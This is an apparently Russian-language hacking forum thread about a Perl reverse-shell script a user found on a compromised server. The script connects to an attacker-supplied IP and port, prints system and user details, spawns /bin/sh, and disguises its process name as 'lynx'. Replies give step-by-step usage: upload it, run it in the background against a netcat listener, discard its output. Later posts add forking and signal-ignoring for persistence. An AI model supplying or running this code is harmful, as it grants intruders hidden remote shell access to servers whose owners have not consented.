![]() |
нашол Perl скрипт
вот на одном уязвимом серваке нашол такое:
Код:
#!/usr/bin/perl use Socket; $cmd= "lynx"; $system= 'echo "`uname -a`";echo "`id`";/bin/sh'; $0=$cmd; $target=$ARGV[0]; $port=$ARGV[1]; $iaddr=inet_aton($target) || die("Error: $!\n"); $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); $proto=getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error: $!\n"); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system($system); close(STDIN); close(STDOUT); close(STDERR);на серваке php инклуд консоль работает :) даже с правами какогото юзера :D |
Загрузи этот файл на сервер, затем в консоли выполни
Код:
perl your_script.pl 192.168.19.217 12345 >/dev/null &192.168.19.217 - твой IP 12345 - порт, на котором ты запустишь неткат на своей машине и будешь ждать коннекта >/dev/null - перенаправление всего, что будет выводить твой скрипт в консоль на сервере в никуда & - исполнять в фоне |
по моему скрипт просто перенаправляет вывод браузера lynx в сокет
|
Выводит он информацию о системе и пользователе, после чего запускает /bin/sh
PHP код:
|
Код:
$cmd= "lynx"; ... $0=$cmd; |
Можно добавить такой код в начало и еще игнорирование сигналов.
Код:
my $pid=fork; |
Да, но некоторые сигналы заигнорить не получится...какие имеено - надо читать доку по Posix сигналам :)
ЗЫЖ И код не ахти какой: где-же use strict; и use warnings; ??? =) Этим можно избежать многих проблем :) ЗЗЫЖ Оффтоплю? Сорри :) |
Из этих все получится. Не игонорится SIGKILL.
|
| Время: 00:52 |